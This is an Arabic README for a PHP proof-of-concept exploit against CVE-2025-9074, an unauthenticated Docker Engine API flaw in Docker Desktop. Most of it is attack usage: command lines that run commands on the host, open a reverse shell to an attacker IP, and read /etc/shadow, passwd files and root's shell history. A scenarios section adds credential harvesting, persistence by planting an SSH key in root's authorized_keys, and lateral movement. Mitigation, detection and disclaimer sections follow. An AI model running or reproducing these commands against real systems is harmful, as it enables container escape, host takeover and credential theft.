CVE-2025-9074: ثغرة RCE غير مصادق عليها في Docker Engine API

الخطورة: حرجة | درجة CVSS: 9.8 (تقديرية) | الإصدارات المتأثرة: Docker Desktop < 4.44.3

استغلال إثبات مفهوم (PoC) لثغرة CVE-2025-9074، وهي ثغرة تنفيذ أوامر عن بُعد غير مصادق عليها في Docker Engine API تتيح الهروب من الحاويات المميزة (privileged containers) واختراق النظام المضيف.

🔴 نظرة عامة على الثغرة

CVE-2025-9074 هي ثغرة حرجة في Docker Desktop تعرّض Docker Engine API دون مصادقة مناسبة أو عزل شبكي. وهذا يسمح للمهاجمين عن بُعد بـ:

• تنفيذ أوامر تعسفية بصلاحيات مرتفعة
• الهروب من عزل الحاوية والوصول إلى نظام ملفات المضيف
• إنشاء اتصالات قشرة عكسية (reverse shell) بأنظمة يتحكم بها المهاجم
• اختراق مضيف الحاوية بالكامل ونظام تشغيل المضيف الأساسي

ناقل الهجوم

• التعرض الشبكي: تعرّض Docker API على واجهات الشبكة (عادةً المنفذ 2375/TCP)
• غياب المصادقة: تقبل الواجهة الطلبات دون مصادقة
• الحاويات المميزة: القدرة على إنشاء حاويات مميزة مع وصول إلى نظام ملفات المضيف
• وحدات التثبيت الرابطة (Bind Mounts): وصول مباشر إلى نظام ملفات المضيف عبر مسارات bind mount

📋 المتطلبات

• PHP CLI (7.0+)
• تمكين إضافة curl في PHP
• اتصال شبكي بنقطة نهاية Docker API المكشوفة
• Docker Desktop < 4.44.3 (الإصدار القابل للاستغلال)

متطلبات النظام للهدف

تؤثر الثغرة على:

• Docker Desktop for Windows < 4.44.3
• Docker Desktop for Mac < 4.44.3
• Docker Engine (عند تعرضه دون TLS)

🚀 بدء سريع

التثبيت

git clone https://github.com/yourusername/CVE-2025-9074.git
cd CVE-2025-9074

الاستخدام الأساسي

تنفيذ أمر واحد على مضيف Docker:

php poc.php -u http://192.168.65.7:2375 -m cmd -c "whoami"

القشرة العكسية

إنشاء قشرة عكسية تفاعلية:

# Terminal 1: Start listener
nc -lvnp 4444

# Terminal 2: Run exploit
php poc.php -u http://192.168.65.7:2375 -m reverse -l 10.10.14.36 -p 4444

📖 دليل الاستخدام

صيغة الأمر

php poc.php -u <url> [options]

الخيارات

Option	Short	Required	Description
--url	-u	✅ نعم	عنوان Docker API (مثال: http://1.2.3.4:2375)
--mode	-m	❌ لا	وضع التنفيذ: cmd أو reverse (الافتراضي: cmd)
--cmd	-c	⚠️ لوضع cmd	الأمر المراد تنفيذه على الهدف
--lhost	-l	⚠️ للوضع العكسي	عنوان IP الخاص بك لاستقبال الاتصال
--lport	-p	❌ لا	منفذ الاستماع لديك (الافتراضي: 4444)
--os	—	❌ لا	نظام تشغيل الهدف: linux, mac, windows (الافتراضي: linux)
--cleanup	—	❌ لا	إزالة الحاوية بعد التنفيذ
--help	-h	❌ لا	عرض رسالة المساعدة

الوضع: تنفيذ الأوامر

تنفيذ أوامر مفردة على الهدف:

# Simple command
php poc.php -u http://192.168.65.7:2375 -m cmd -c "id"

# Read files from host
php poc.php -u http://192.168.65.7:2375 -m cmd -c "cat /mnt/hostfs/flag.txt" --cleanup

# With cleanup
php poc.php -u http://192.168.65.7:2375 -m cmd -c "whoami" --cleanup

الوضع: القشرة العكسية

تشغيل قشرة تفاعلية مع استدعاء عكسي (callback):

php poc.php -u http://192.168.65.7:2375 -m reverse -l 192.168.1.100 -p 4444

أمثلة خاصة بكل نظام تشغيل

هدف Linux

php poc.php -u http://target:2375 -m cmd -c "cat /mnt/hostfs/etc/shadow" --os linux

هدف Windows

php poc.php -u http://target:2375 -m cmd -c "dir C:\" --os windows

هدف macOS

php poc.php -u http://target:2375 -m cmd -c "ls -la /mnt/hostfs/Users/" --os mac

🎯 سيناريوهات الاستغلال الواقعية

1. الاستطلاع

# Enumerate host system
php poc.php -u http://192.168.65.7:2375 -m cmd -c "uname -a"
php poc.php -u http://192.168.65.7:2375 -m cmd -c "whoami"

2. جمع بيانات الاعتماد

# Extract sensitive files
php poc.php -u http://192.168.65.7:2375 -m cmd -c "cat /mnt/hostfs/root/.bash_history"
php poc.php -u http://192.168.65.7:2375 -m cmd -c "cat /mnt/hostfs/etc/passwd"

3. الثبات (Persistence)

# Add SSH key
php poc.php -u http://192.168.65.7:2375 -m cmd -c "mkdir -p /mnt/hostfs/root/.ssh && echo 'SSH_KEY' >> /mnt/hostfs/root/.ssh/authorized_keys"

4. الحركة الجانبية

# Enumerate running containers and networks
php poc.php -u http://192.168.65.7:2375 -m cmd -c "docker ps --all"

🔍 التفاصيل التقنية

آلية الثغرة

1. Docker Socket/API مكشوف: يستمع Docker API على 0.0.0.0:2375 دون مصادقة
2. إنشاء حاويات مميزة: ينشئ PoC حاويات مميزة عبر /containers/create
3. ربط نظام ملفات المضيف: تستخدم الحاويات bind mounts للوصول إلى نظام ملفات المضيف:
   • Linux: /:/mnt/hostfs
   • macOS: /:/mnt/hostfs
   • Windows: /mnt/host/c:/mnt/hostfs
4. تنفيذ الأوامر: تُنفَّذ الأوامر بصلاحيات root/SYSTEM داخل الحاوية
5. الوصول إلى نظام ملفات المضيف: وصول مباشر للقراءة/الكتابة إلى مسارات /mnt/hostfs

تدفق الحمولة (Payload)

┌─────────────────────────────────────────────────────┐
│ poc.php (Your Machine)                               │
└────────────┬────────────────────────────────────────┘
             │ HTTP REST API Call
             ▼
┌─────────────────────────────────────────────────────┐
│ Docker API (Target Port 2375) [UNAUTHENTICATED]     │
└────────────┬────────────────────────────────────────┘
             │ Creates Container
             ▼
┌─────────────────────────────────────────────────────┐
│ Privileged Alpine Container                          │
│ ├─ Full Root Access                                 │
│ ├─ Bind Mount: /:/mnt/hostfs                       │
│ └─ Executes Attacker Command                        │
└────────────┬────────────────────────────────────────┘
             │ Command Output
             ▼
┌─────────────────────────────────────────────────────┐
│ Output Returned to Attacker                          │
└─────────────────────────────────────────────────────┘

تحليل الكود

• التفاعل مع Docker API: يستخدم cURL للتواصل مع REST API عبر HTTP/1.1
• فك تعدد إرسال سجلات Docker: يتعامل بشكل صحيح مع تنسيق التدفق متعدد الإرسال (multiplexed stream) الخاص بـ Docker
• دعم متعدد المنصات: يكييّف مسارات bind mount لـ Windows/Mac/Linux
• معالجة المهلة الزمنية: مهلة 60 ثانية للأوامر طويلة التشغيل

🛡️ التخفيف

إجراءات فورية

1. ترقية Docker Desktop

   # Update to version 4.44.3 or later
   

2. العزل الشبكي

   • قصر منفذ Docker API (2375) على localhost فقط
   • استخدام قواعد جدار الحماية لمنع الوصول الخارجي
   • تعطيل كشف مقبس Docker API

3. تفعيل مصادقة TLS

   # Configure Docker daemon with TLS certificates
   # In daemon.json:
   {
     "tlsverify": true,
     "tlscacert": "/etc/docker/ca.pem",
     "tlscert": "/etc/docker/server-cert.pem",
     "tlskey": "/etc/docker/server-key.pem"
   }
   

4. تقسيم الشبكة

   • تشغيل Docker Desktop على شبكات معزولة
   • تنفيذ وصول شبكي قائم على نموذج الثقة المعدومة (zero-trust)
   • استخدام VPN للوصول عن بُعد

إعدادات Docker Desktop

• Windows/Mac: عطّل خيار "Expose daemon on tcp://localhost:2375"
• استخدم مقبس Unix (/var/run/docker.sock) للوصول المحلي فقط
• تنفيذ المصادقة عبر Docker Context مع بيانات الاعتماد

📊 الكشف

الكشف الشبكي

# Scan for exposed Docker APIs
nmap -p 2375,2376 -sV target_network

# Check if port responds to Docker API
curl -s http://target:2375/version

كشف السجلات

• مراقبة سجلات Docker daemon بحثًا عن استدعاءات API غير معتادة
• التنبيه عند إنشاء حاويات مميزة
• تتبع أنماط استخدام bind mount

⚠️ إخلاء مسؤولية

تُقدَّم هذه الأداة لأغراض اختبار الأمان المصرح به والتعليم فقط.

• استخدم هذا الـ PoC فقط على الأنظمة التي تملكها أو لديك إذن صريح لاختبارها
• الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني
• يتحمل المستخدمون المسؤولية الكاملة عن أفعالهم
• هذا الـ PoC مخصص لاختبار الاختراق المصرح به وبحوث الثغرات الأمنية

📝 المراجع